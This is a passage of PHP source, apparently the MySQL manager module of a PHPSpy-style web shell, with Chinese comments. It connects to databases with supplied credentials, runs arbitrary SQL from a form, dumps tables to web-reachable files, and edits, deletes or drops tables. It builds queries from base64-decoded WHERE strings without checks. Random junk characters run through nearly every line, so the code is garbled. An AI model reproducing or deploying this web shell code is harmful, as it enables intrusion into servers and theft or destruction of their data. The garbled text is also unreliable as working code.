    ) E2 @/ q1 S5 j' m( m7 y
  668.         makehide('dbhost');
    , \* b1 P3 x2 w( ^; J7 c$ [5 @
  669.         makehide('dbport');% X* t2 a1 A# L# _5 b" [
  670.         makehide('dbuser');
    , p6 l% @. I3 ~1 K6 R- }* ^
  671.         makehide('dbpass');9 b5 J; S% w4 M3 K; i) b  P
  672.         makehide('dbname');
    7 l8 r% b1 V4 W5 `' Q! K) V
  673.         makehide('charset');- d5 n( J  ]0 n# m. ~, u/ q
  674.         makehide('doing');( N5 l9 w1 ?, `6 h$ m3 w  \5 U
  675.         makehide('action','sqlfile');8 _/ A- A0 D' k
  676.         p('</form>');
    6 g' O' x' O- T
  677. }
    : D- @2 [8 ~) E3 F: Y( `
  678. 3 C  y  a+ ]& X0 C6 k
  679. elseif ($action == 'sqladmin') {
    + Z* E0 ~" j4 {. Y: T$ N6 n. i
  680.         !$dbhost && $dbhost = 'localhost';0 N; f. ~, q% w8 u0 h  P
  681.         !$dbuser && $dbuser = 'root';7 i/ j7 ^+ `) D
  682.         !$dbport && $dbport = '3306';+ T. N; m& ]5 p; z9 s
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    " ?( l8 ?5 f5 E& W& i$ `7 F
  684.         if(isset($dbhost)){
    $ e; Z1 ~" e0 Z4 h$ v' C
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";9 }3 S' t+ B) C' T7 s0 b; t" `
  686.         }8 a; g# _# b' K8 _# p, f
  687.         if(isset($dbuser)) {
    ( m2 t, |- u, Y
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    7 W! J  J& R) S) t7 }* Z" b6 L
  689.         }
    ) k, U/ O$ n4 U% E+ ~% {, j
  690.         if(isset($dbpass)) {2 a4 n: U- e; P* ~$ B
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
    # a* H2 v, y( Q% X9 I% c: F
  692.         }
    - H8 _. n5 O2 l" U. a
  693.         if(isset($dbport)) {
    & z  s! I0 P6 z$ X
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
    1 B, v5 {, o1 N1 L1 a# L  K7 t
  695.         }
    ' o. E: e1 `, k- Y6 A3 h+ j
  696.         if(isset($dbname)) {
    ! K) _7 a  u5 E& V7 |
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
    / h' Y- E! r  m! Z! l- {. P+ v1 H
  698.         }/ t0 N0 A# J( m
  699.         if(isset($charset)) {
    1 G) o; n7 P3 \3 {
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";: F( H5 Q) D! M% w% e( J
  701.         }
    7 i% r8 Y( g. n

  702. ) n, s) _/ T, c; W5 \
  703.         if ($doing == 'backupmysql' && $saveasfile) {
    7 b: d+ G  r; N8 ^% J" e
  704.                 if (!$table) {
      H% y2 y! _0 Q1 ^
  705.                         m('Please choose the table');* {9 u  U$ Z2 m1 _" l. G* l  V
  706.                 } else {+ {' t! U4 |  s& |. q/ N; ~! O2 B
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    1 H" O+ ~4 u0 W- p
  708.                         $table = array_flip($table);! t2 g" v0 O1 H! ~, Q6 @
  709.                         $fp = @fopen($path,'w');
    ; r5 R7 H9 _) ]
  710.                         if ($fp) {3 _8 I0 g6 s& t1 W' q
  711.                                 $result = q('SHOW tables');
    0 q, T2 d$ Q  f0 h8 T
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');! D* `) q' V7 |* I: I# h
  713.                                 $mysqldata = '';* L( U( T( }0 H) i% R
  714.                                 while ($currow = mysql_fetch_array($result)) {
    + c$ l9 ^, K3 m; w6 `9 b# T4 z$ ~
  715.                                         if (isset($table[$currow[0]])) {) h" v) `8 B7 ^: _
  716.                                                 sqldumptable($currow[0], $fp);" j% h. U% ~8 k
  717.                                         }; M0 t4 e. e+ S
  718.                                 }
    ( b! @2 F1 N% a% _7 }
  719.                                 fclose($fp);
    & T( ?0 a3 z$ p; g4 V
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    $ n2 h; l1 ^; ^4 ?' k' ~5 ]
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');$ n- r' ]- D9 \. L
  722.                                 mysql_close();
    . S: l: Q' [1 S
  723.                         } else {3 h: S; H2 ^: ?! u8 e" p7 p+ W! I# ]
  724.                                 m('Backup failed');
    : P$ ~, Y$ q; }" M0 g0 j3 m
  725.                         }# {- m+ R% [4 k
  726.                 }
    ( A6 X8 S# H2 D( V2 X2 M; H
  727.         }
    # s& O& G- c# s; S; k3 ~7 I
  728.         if ($insert && $insertsql) {% W; z7 M' s  Q$ h: d$ b
  729.                 $keystr = $valstr = $tmp = '';4 o4 f  P$ d9 K
  730.                 foreach($insertsql as $key => $val) {8 ~# w! C! ]6 {/ q9 N* d- Q! \
  731.                         if ($val) {
    & \; H& P) Q1 s+ B
  732.                                 $keystr .= $tmp.$key;
    - \! r; G, A/ X! X7 o6 h) Z; m
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";7 {$ _1 k8 |4 a4 o" D2 A$ Z
  734.                                 $tmp = ',';
    ) ?2 b* U2 C8 E+ `( E7 i( m
  735.                         }
    , J" A7 a0 D% H5 O) }
  736.                 }
    $ U; S' T' S9 b" v8 z; q. h" |
  737.                 if ($keystr && $valstr) {8 a$ ?' j9 U6 `( K; S& a9 ?* v
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);  i- W" n2 s, n# Y" ]! W* a3 Z
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    . g+ Q; k) u7 S8 J' x9 p6 v
  740.                 }+ D7 k' a/ W) p. J& ?* A- m
  741.         }
    . X- @' G# l5 z( e: X/ k! f
  742.         if ($update && $insertsql && $base64) {
    5 D4 I; F5 S: P: Q
  743.                 $valstr = $tmp = '';
    " a/ M) B0 i7 t. d
  744.                 foreach($insertsql as $key => $val) {
    ( a' T; K; X7 s7 B: N$ j
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
    ' _  b$ L; G9 q3 k6 d
  746.                         $tmp = ',';% I9 Q8 t0 _$ s
  747.                 }
    : Z/ X" ~3 @9 f' `: U
  748.                 if ($valstr) {: w  B+ l1 N0 V( |# q
  749.                         $where = base64_decode($base64);/ s" O1 Q. d' u7 H! D/ K, F: y4 q+ O
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    " i6 F2 L: I2 Q! i8 Y! {& \0 x# A
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    0 K# {% q3 A9 \4 c1 O2 P% t1 M
  752.                 }; U' h5 q& L% F6 z- _! @1 s& |
  753.         }
    ! \; s! ~6 A6 i# M$ B+ H8 h
  754.         if ($doing == 'del' && $base64) {
    ) [" o# A2 F: U$ |" J+ o1 }3 O3 I
  755.                 $where = base64_decode($base64);
    7 d  V/ A8 S& g, @; ~' f
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";2 U5 b6 h% l! T& ?3 x
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$ n9 E( a6 a2 ?! N: b- k$ h# Y
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());' p" g9 O1 v+ Z; @
  759.         }
      A6 ~, y% B. b% O1 H
  760. & u2 i- E% S% T
  761.         if ($tablename && $doing == 'drop') {$ S$ ~; ^$ F! J4 f
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);3 a9 X% s+ n. I1 [5 X* n4 ~
  763.                 if (q("DROP TABLE $tablename")) {
    4 A9 r, m; R, O
  764.                         m('Drop table of success');
    4 ~4 G! I: Q3 B+ }1 t# O
  765.                         $tablename = '';
    " ]& \4 F. s6 ?
  766.                 } else {+ Y" w" D6 ^" h, u
  767.                         m(mysql_error());
    * v0 [# b- c! {  I$ Y; M: }# P
  768.                 }0 W# g5 T6 n( l7 G6 T+ J& k2 K* `
  769.         }
    % J( ^- L8 o6 j# w8 ]6 _* Y9 G* K9 a

  770. : w5 n7 u: S2 Y% y. f/ k* v) Q( Z
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    3 x5 P% x) P3 V; M
  772. 5 J. ?# \" X& O3 ?
  773.         formhead(array('title'=>'MYSQL Manager'));% Q# ?, ]: l3 C
  774.         makehide('action','sqladmin');) k- p) d. A9 J! E" h
  775.         p('<p>');
    : \6 z( W- H- V! w
  776.         p('DBHost:');
    7 J) S( i- s6 O% D& `. Z! t
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    $ j6 K  O- T$ i/ ?* g
  778.         p(':');; m+ S2 k. J0 o4 V' k  U
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    ! C& d/ v4 m, B7 l
  780.         p('DBUser:');
    1 C) ^  ?- N% `# S& c. O
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    ( T7 |0 E" s% i! m0 T" z% Q2 S7 p  x
  782.         p('DBPass:');* j& i6 _2 A+ Y2 @8 u
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));  g( G: ]# E7 |: K' X, P% C
  784.         p('DBCharset:');
    2 g! n+ {4 ^& c2 r4 I4 r* @5 p9 L
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));4 N3 f1 \% {; q3 C9 S' X, ?
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    1 l: l6 C$ t) `
  787.         p('</p>');
    / h! J; G; q+ M- ?3 ?
  788.         formfoot();
    6 I" ~2 o* r2 k  n) z3 f& I/ L# f3 R
  789. ?>
    " I; _' ?0 l. x" d. C/ b
  790. <script type="text/javascript">
    4 P3 x2 ]2 }% E$ [" g  i  K- b* ~1 Y
  791. function editrecord(action, base64, tablename){
    , o# y2 q# `. R' }
  792.         if (action == 'del') {                6 X8 J' L! r8 Q- d. I+ N! F8 b
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    ( g8 o/ u& e. d( z: P+ C
  794.         }
    . ^% L, P9 }) ~; j5 m( z! l
  795.         $('recordlist').doing.value=action;
    . r7 y5 Z* S  F1 R- R8 t
  796.         $('recordlist').base64.value=base64;) ?6 F! v' q# T# d2 u
  797.         $('recordlist').tablename.value=tablename;
    ! v/ M9 T) Z, H; L+ d
  798.         $('recordlist').submit();' d' w! \2 V  G; L
  799. }. P1 |, I1 e0 N# j- U; b
  800. function moddbname(dbname) {
    8 b+ K3 A1 B  V
  801.         if(!dbname) return;
    ! ^! D/ F" c4 ?+ a# h: ]* h: G
  802.         $('setdbname').dbname.value=dbname;
    + N! M$ J: a7 [9 |  z6 u# Y
  803.         $('setdbname').submit();0 ^. p  F+ R+ R. Q: x3 a# c
  804. }& p) e' t4 q1 M8 p- `" J% t5 F
  805. function settable(tablename,doing,page) {
    4 I. F  [/ u" |
  806.         if(!tablename) return;6 w- _/ P- @$ c! C; S6 f/ p8 M
  807.         if (doing) {
    5 i, s' `4 p& ^7 ]+ W
  808.                 $('settable').doing.value=doing;! P  z. ~: \! {4 @; V
  809.         }
    - A* u, ?7 P2 y/ t9 K3 ]
  810.         if (page) {3 `+ W, g9 s6 q1 U+ B0 }" a; B, z3 u
  811.                 $('settable').page.value=page;5 N- L# R( B( G2 _
  812.         }" J, B" G. d0 u) ^& ?3 S: ^- Y( ?
  813.         $('settable').tablename.value=tablename;& X7 @+ D- Y& P* r5 J) z& I6 F
  814.         $('settable').submit();
    8 b5 S: E  O1 b
  815. }* A1 d' B. c. |% x. l5 W  V( n
  816. </script>
    + C: M- K7 d/ d' F7 M& w/ }
  817. <?php
    & d$ }# k* E: U( j! t
  818.         //操作记录
    ; _1 y( i8 G9 r
  819.         formhead(array('name'=>'recordlist'));" W- Q, I+ u' a3 x8 L2 X: j$ Q$ B& q
  820.         makehide('doing');; d! Z) B- m! e1 q6 p
  821.         makehide('action','sqladmin');
    3 E. ^- p+ g& m2 ]$ f. c
  822.         makehide('base64');* T" k$ t! X9 [& I/ I+ u) ~; Z
  823.         makehide('tablename');, U5 A; h3 B! T. K4 z
  824.         p($dbform);, S( W$ Y8 e' Z1 g
  825.         formfoot();3 O+ F4 t" \. Y: h! L- O, P9 W
  826.         //选定数据库: h' s8 n* O0 x- }' Y  Z: y/ h( U9 q
  827.         formhead(array('name'=>'setdbname'));
    . h7 C% V& s/ }; ~  u) O9 l
  828.         makehide('action','sqladmin');
    ; L! |9 {' N" |6 P2 z
  829.         p($dbform);+ ^% w% k/ Y5 A; {, Z$ U
  830.         if (!$dbname) {
    ; u& ~# V4 ]+ m$ w( Q+ M# `- ^
  831.                 makehide('dbname');
    5 U+ Y7 f& h- Q" b& l2 q2 r
  832.         }0 L' n( L- n8 @! N4 S) |' ?
  833.         formfoot();/ n3 j7 X4 R7 x  U
  834.         //选定表
    / ^$ n+ ~# o" Y% r% k' g* C) G* k
  835.         formhead(array('name'=>'settable'));
    6 i4 J! }2 h3 t0 H; c; V- K, H
  836.         makehide('action','sqladmin');
    . W( U0 l" k& w9 }  ^
  837.         p($dbform);
    3 P1 F1 e  x/ G6 ?' ^( ]! i
  838.         makehide('tablename');
    7 c9 [9 E4 b$ W) R5 I
  839.         makehide('page',$page);
    7 ~5 K# z2 s6 e7 \' w8 `
  840.         makehide('doing');! N! a4 C; g" B, R
  841.         formfoot();
    6 n9 r2 O5 ?! \7 F7 t( u. B; h
  842.         $cachetables = array();        $ b( k5 p: y& u7 @! E
  843.         $pagenum = 30;
    ' H4 I. y8 U! K0 e. M/ R8 ~! f- }( ^0 R3 \
  844.         $page = intval($page);
    0 f, s+ p# ~" @4 |- l
  845.         if($page) {7 j6 ^& r- V4 s. z0 h% A. Q/ E) B
  846.                 $start_limit = ($page - 1) * $pagenum;
    & v+ c) ~6 B# f) v% `
  847.         } else {  ~' e; P7 b" z4 `& z$ X7 Q9 l
  848.                 $start_limit = 0;
    2 {. t3 V% m* M
  849.                 $page = 1;; H9 i, f8 U( Z# P8 }# K) y/ m
  850.         }
    + E! @* d5 x/ V2 F$ \
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    7 w5 Z+ V, b+ H  `7 m0 Y3 ?
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);3 y: P/ K9 N% Y) u0 Z* S/ w2 A
  853.                 //获取数据库信息
    $ V2 |4 ^- W5 n8 R+ C
  854.                 $mysqlver = mysql_get_server_info();4 ~. {4 H/ F! i' `% @) {
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');0 Q7 `$ o9 m  M2 X: s
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;2 P% [) y, s0 d8 X$ c  ?
  857.                 //获取数据库& D$ ^; r9 Y# p7 s
  858.                 $query = q("SHOW DATABASES");7 n4 h# U4 U2 e. P* T( M( u& C8 [
  859.                 $dbs = array();) B% E; q! A. K) a" Z* j( h8 `
  860.                 $dbs[] = '-- Select a database --';
    6 {1 K, h4 h7 F, C4 y
  861.                 while($db = mysql_fetch_array($query)) {: S$ D; s" u  `6 e
  862.                         $dbs[$db['Database']] = $db['Database'];
    8 b2 C+ `  n$ {4 y, k) ~8 P
  863.                 }6 k9 N7 V9 v9 B% B3 H: E
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));# A: N7 k6 V4 h9 M! D9 G- l/ m! `
  865.                 $tabledb = array();
    # a5 i+ }  W' \% `' q" P) d$ E
  866.                 if ($dbname) {
    / T2 e7 c& I  i
  867.                         p('<p>');+ W7 g3 k  D, F) Q% [
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');. c9 @3 c6 {4 T' [4 Q4 n& C
  869.                         if ($tablename) {
    0 I0 c+ S9 \3 {' L0 N
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
    0 s9 X) G: ?  _/ n( R6 m
  871.                         }
    $ G2 Z/ z. o  N
  872.                         p('</p>');
    , I: t9 m* K2 q, i+ R6 _! Z2 B4 }8 D7 J& S
  873.                         mysql_select_db($dbname);- ]9 f+ g5 T9 X% @6 A
  874.                         $getnumsql = '';
    . b4 j! ?  x& U7 M5 U9 X- ~* L" e
  875.                         $runquery = 0;. n) d! B  h- d/ Z7 B, k
  876.                         if ($sql_query) {
    , P- b. n5 f3 z, @; Z
  877.                                 $runquery = 1;* i. F/ d; n! P- |3 G
  878.                         }
    4 F# }3 s7 w$ }( a
  879.                         $allowedit = 0;
    % \& |, `( l) g3 K" }3 r. t7 i+ G
  880.                         if ($tablename && !$sql_query) {
    % {' A3 Z, V2 ^3 e! C
  881.                                 $sql_query = "SELECT * FROM $tablename";
    + j1 S- N  }& T5 I2 s! \; Z( y
  882.                                 $getnumsql = $sql_query;
    5 j( A. D2 i$ I5 L3 v( S
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
    * z$ V. P5 Q0 A
  884.                                 $allowedit = 1;
    , l$ {- ^: a5 K6 z3 t* h
  885.                         }  I/ y" L8 b" X) n) j4 c4 \
  886.                         p('<form action="'.$self.'" method="POST">');7 w. G6 M# B( o7 P( X
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    7 Z1 K7 e, f. e
  888.                         makehide('tablename', $tablename);
    8 W. Q- H/ h2 H( I9 o
  889.                         makehide('action','sqladmin');# \; I5 u; ?' Y) X2 G# p# N' {' {
  890.                         p($dbform);
    + \1 Q6 I0 S4 r/ V
  891.                         p('</form>');
    ( d% W6 q! k( [  K
  892.                         if ($tablename || ($runquery && $sql_query)) {' ^) d4 @7 G9 v5 o) P5 e' q7 i
  893.                                 if ($doing == 'structure') {
      i3 F, Z8 n5 g0 w4 _
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");; ^  p" V# G" M& Q& j
  895.                                         $rowdb = array();& t- m2 K& |# G9 x
  896.                                         while($row = mysql_fetch_array($result)) {/ }/ t' Y; @0 x7 k8 e( C
  897.                                                 $rowdb[] = $row;
    ! K7 X# i# J0 Z$ T1 T0 U( ^
  898.                                         }+ _/ V* [2 h: N
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    9 X* ?  l3 S5 Q
  900.                                         p('<tr class="head">');
    & f3 G3 _) R) n0 b0 [9 h1 Q2 ~
  901.                                         p('<td>Field</td>');- Q& w1 x' C/ }! S1 G+ Q& f, |
  902.                                         p('<td>Type</td>');
    4 u4 `, ]8 B2 a' r
  903.                                         p('<td>Null</td>');+ O7 G- O: r& Q5 V( I  R+ {  G  _* ]
  904.                                         p('<td>Key</td>');9 Y$ A4 a' d0 g5 t& `
  905.                                         p('<td>Default</td>');- {# J( ~: S( b% _
  906.                                         p('<td>Extra</td>');; j) P$ h  y$ x! C# }
  907.                                         p('</tr>');
    & p1 C$ t8 v( m, N, z
  908.                                         foreach ($rowdb as $row) {
    * W: ]" l& v9 ?
  909.                                                 $thisbg = bg();
    ( w# G( F9 n0 U; k
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ) D7 u. `1 I5 I
  911.                                                 p('<td>'.$row['Field'].'</td>');6 K' k7 H4 `+ ^' m, S* F/ S
  912.                                                 p('<td>'.$row['Type'].'</td>');2 Y6 Y) r8 w. P" `. R& L
  913.                                                 p('<td>'.$row['Null'].' </td>');
    . _: f8 X, K0 z8 f* g2 O4 V
  914.                                                 p('<td>'.$row['Key'].' </td>');; q! b: y2 G2 W$ w
  915.                                                 p('<td>'.$row['Default'].' </td>');
    4 K; q( h9 O9 w  i6 q. L
  916.                                                 p('<td>'.$row['Extra'].' </td>');2 e$ C. }- u4 p) a
  917.                                                 p('</tr>');
    ! r7 A! ?( Y) v$ z
  918.                                         }! V2 R8 s* v: F5 \
  919.                                         tbfoot();
    ) W5 b2 a0 Q# ]& v
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {5 Y* n' c9 f3 A
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);" k% N+ m9 n2 A4 S5 A5 t1 j# k8 c" t
  922.                                         while ($row = mysql_fetch_array($result)) {' z+ |9 L$ T  b+ \
  923.                                                 $rowdb[] = $row;
    / y4 Z3 y" `" s/ w: P' U8 C
  924.                                         }
    . F& Y6 e5 W  j9 o5 m
  925.                                         $rs = array();8 \6 ^% T" F6 D+ P
  926.                                         if ($doing == 'insert') {
    , P, F  B# Q" k1 C# ^0 q
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    9 _# |# `( q  D
  928.                                         } else {
    1 |# h% v& h$ }" W- X, K
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');" \0 w5 d0 e: I' t
  930.                                                 $where = base64_decode($base64);
    & V0 ~7 w7 k& B7 U
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");3 ?: a  w" v* O; ?5 G& L
  932.                                                 $rs = mysql_fetch_array($result);# |. H% O8 Y8 k- Z' ?0 X% e
  933.                                         }
    3 J6 ]; W8 I7 C1 Z; Y  e
  934.                                         p('<form method="post" action="'.$self.'">');' J1 j* I/ r, a% ^- k7 A
  935.                                         p($dbform);) k1 ^5 }, |1 l$ {
  936.                                         makehide('action','sqladmin');9 ]- `' ~0 `2 U" ~6 Q1 E* q
  937.                                         makehide('tablename',$tablename);7 }& V! R* c. h' m
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    ' R) K' j( k$ o/ ?  c
  939.                                         foreach ($rowdb as $row) {
    1 W  H# a# R- P4 Z  g
  940.                                                 if ($rs[$row['Field']]) {* k- k6 C( g, W% I
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);) f. A4 \% ]* D- u" I
  942.                                                 } else {/ G9 a4 H3 f! F4 |# l) Q
  943.                                                         $value = '';
    % V1 Q  Z$ D1 j+ I3 [+ g6 t
  944.                                                 }
    , n9 }* S( X% {8 f* i# b; g7 k0 [
  945.                                                 $thisbg = bg();
    8 N; }4 G0 ^. z' l5 b$ i
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    9 ?# m$ Z" I6 ]. s  O. j
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');  G6 w/ i+ T- r0 k
  948.                                         }4 [8 h! r/ ~% |7 s8 G2 h' _- w- q
  949.                                         if ($doing == 'insert') {
    8 F& }$ }) F$ P0 w# N! ]) C
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    . o$ c7 k) K- b7 \
  951.                                         } else {# g" R& p+ w" I8 w9 v0 S, f
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
    5 u- X4 j. I3 S6 Z* _
  953.                                                 makehide('base64', $base64);
    6 Y+ K1 a, @( i( f- Z0 l; E( K5 k! Y3 {
  954.                                         }
    # X: Y: d* X& k* u
  955.                                         p('</table></form>');. K* J7 Z  H1 e& p- z2 z( ^/ L1 \
  956.                                 } else {8 E* P1 G' y# V( g- g' q
  957.                                         $querys = @explode(';',$sql_query);
    " l! x* |6 _& u' T9 ?- K2 |+ H6 \
  958.                                         foreach($querys as $num=>$query) {
    4 N5 v6 ?; Y  E  o/ @) {% K" u: R3 D7 O
  959.                                                 if ($query) {
    ( b' t6 a/ n9 K1 ?' {( y
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");2 v9 a3 F" I5 B* [
  961.                                                         switch(qy($query))
    1 @: i0 @. }+ n& J6 W6 r3 i
  962.                                                         {* {5 @7 C0 `3 @! p7 r) ]" X5 U
  963.                                                                 case 0:' V0 [* a: ^) [, T
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    0 D* i+ j- V' O+ Q8 {9 c
  965.                                                                         break;       
    7 a$ P& C, t3 P! K, j  n7 K4 q$ i
  966.                                                                 case 1:9 k! [) e6 W% S
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {" n+ J8 Y1 Z3 Y: K
  968.                                                                                 $allowedit = 1;3 a1 b1 {' U% U+ u& c* P
  969.                                                                         }
    4 }, Q: R, b6 ?3 F  o4 @6 B8 {2 b, x
  970.                                                                         if ($getnumsql) {/ `, T/ K1 p4 I7 a  E$ U
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    0 K/ }: N% \- {7 p% z
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);; D2 w3 a2 n  M( {9 j# `* \
  973.                                                                         }. y- X6 w$ t  P" @
  974.                                                                         if (!$tablename) {% c0 Y: W8 {4 q& w. h
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));, n' V# |# u) `; K
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);, T( a1 R, C6 ]
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);7 \4 V+ R* V& E/ p1 J2 W" B' t
  978.                                                                                 $tablename = $matches[1][0];+ R) n" E2 i2 U, a9 e; V" b0 A0 ~
  979.                                                                         }+ f* D* c7 d  ^0 }
  980.                                                                         $result = q($query);8 \/ Z2 R$ r( h, p; X
  981.                                                                         p($multipage);+ ]1 |: B# H) y8 x8 t2 n
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');! M7 E8 q5 g- K7 K6 r$ J
  983.                                                                         p('<tr class="head">');
    + v+ S# t, @+ ~2 ?' q! ]
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    3 G7 t4 C6 u: @2 b& N! C
  985.                                                                         $fieldnum = @mysql_num_fields($result);
      |# @8 _7 t4 I; \3 ~) h
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    - r) G: j0 ^  W; B) @9 b
  987.                                                                                 $name = @mysql_field_name($result, $i);
    . ?7 B. I+ R& J  j& Z
  988.                                                                                 $type = @mysql_field_type($result, $i);- x+ f6 f" Q% U% z/ o; m
  989.                                                                                 $len = @mysql_field_len($result, $i);
    ' W7 K( W8 @! V* o) W# F4 d
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");; S! H' K1 F4 [
  991.                                                                         }% }6 {4 P" Q2 m  D) o2 ^+ z& v
  992.                                                                         p('</tr>');
    ) }5 R) y- s% H
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){5 N7 K2 v$ B4 {, V6 ~
  994.                                                                                 $thisbg = bg();' K6 L) f1 r$ s( G8 q2 N
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    " _0 R4 m3 t  C/ O4 e
  996.                                                                                 $where = $tmp = $b1 = '';& F$ z1 U+ J$ C
  997.                                                                                 foreach($mn as $key=>$inside){
    , K4 k- v7 Q. I4 I5 K! ]
  998.                                                                                         if ($inside) {8 p/ a. m+ w$ r9 U7 u4 o
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";( w7 k# R, R2 \! U& ?4 [
  1000.                                                                                                 $tmp = ' AND ';! \& h! I% c; K  ]9 Z7 g
  1001.                                                                                         }" q+ B8 e" H: \  L) J
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';  G7 h# Q( f5 c& F
  1003.                                                                                 }
    7 f: H: D# ?: j9 D- J
  1004.                                                                                 $where = base64_encode($where);
    ! }- `0 l4 j  A% k& i, d! I7 G
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    ! V. n3 v2 U5 _( ]5 L% l. _  r
  1006.                                                                                 p($b1);9 U: r. A- _  o$ F
  1007.                                                                                 p('</tr>');
    + p! A7 K$ L8 ?  r* I+ x( m! T9 S
  1008.                                                                                 unset($b1);! _# ~+ j  Z' J
  1009.                                                                         }! |# v) {0 l* d2 S: ~
  1010.                                                                         tbfoot();$ \( }' H, I& l% |- s  K
  1011.                                                                         p($multipage);1 M# s8 [* J1 ?# m' u# w) b( |
  1012.                                                                         break;       
    % Z) Z. W0 [, R" H' T) c
  1013.                                                                 case 2:
